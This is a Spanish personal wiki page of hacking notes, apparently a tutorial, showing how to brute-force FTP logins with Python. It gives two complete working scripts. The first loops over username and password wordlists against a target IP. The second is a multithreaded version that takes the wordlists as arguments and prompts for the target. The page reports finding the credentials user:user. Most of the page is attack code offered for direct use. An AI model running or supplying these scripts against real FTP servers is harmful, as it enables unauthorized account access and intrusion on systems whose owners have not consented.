Notas de Luis

Para ello vamos a utilizar la librería ftplib y tener dos ficheros de textos donde uno contenga los posibles usuarios y otro las posibles contraseñas:

Y a continuación utilizamos este código donde se hará el ataque de fuerza bruta FTP utilizando estos dos ficheros de texto:

import ftplib
 
def ataque(ip,usuario,password):
    ftp = ftplib.FTP(ip)
    try:
        ftp.login(usuario,password)
        ftp.quit()
        print('User: {}:{}'.format(usuario,password))
    except:
        print("Falló la autenticación")
 
ip = '10.10.0.0'
usuarios = open('usuarios.txt','r')
usuarios = usuarios.read().split('\n')
passwords = open('passwords.txt','r')
passwords = passwords.read().split('\n')
 
for u in usuarios:
    for p in passwords:
        ataque(ip,u,p)

Y si lanzamos el script vemos que nos encuentra un login correcto con el usuario y contraseña user:user:+

Y vemos que si probamos con user y user nos inicia la sesión:

O incluso se puede mejorar este código:

import ftplib
import threading
import signal
import argparse
 
# Crea un objeto ArgumentParser
parser = argparse.ArgumentParser(description='Inserte los diccionarios')
 
# Agrega argumentos posicionales
parser.add_argument('users', help='Archivo con los usuarios')
parser.add_argument('passwords', help='Archivo con las contraseñas')
 
# Analiza los argumentos de la línea de comandos
args = parser.parse_args()
 
# Variable global para controlar la terminación de hilos
terminate_threads = False
 
def iniciar_sesion(ip, usuario, password):
    global terminate_threads
    ftp = ftplib.FTP(ip)
    try:
        ftp.login(usuario, password)
        ftp.quit()
        print('User: {}:{}'.format(usuario, password))
        # Si se encuentra una combinación válida, configuramos la bandera para detener los otros hilos
        terminate_threads = True
    except Exception as e:
        if terminate_threads:
            return
        pass  # No se imprime nada en caso de fallo
 
# Función para iniciar sesión en paralelo
def iniciar_sesiones_concurrentes(usuarios, contrasenas, ip):
    global terminate_threads
    threads = []
    for u in usuarios:
        for p in contrasenas:
            thread = threading.Thread(target=iniciar_sesion, args=(ip, u, p))
            threads.append(thread)
            thread.start()
 
    for thread in threads:
        thread.join()
 
# Manejar la señal de Ctrl+C para detener el script
def handle_interrupt(signum, frame):
    global terminate_threads
    terminate_threads = True
 
signal.signal(signal.SIGINT, handle_interrupt)
 
ip = input("Introduce la IP objetivo: ")
with open(args.users, 'r') as usuarios_file, open(args.passwords, 'r') as contrasenas_file:
    usuarios = usuarios_file.read().split('\n')
    contrasenas = contrasenas_file.read().split('\n')
 
try:
    iniciar_sesiones_concurrentes(usuarios, contrasenas, ip)
except KeyboardInterrupt:
    pass

Y este sería el resultado:

computing/coding/python/hacking_python/ataque_fuerza_bruta_ftp_con_python.txt · Última modificación: por 127.0.0.1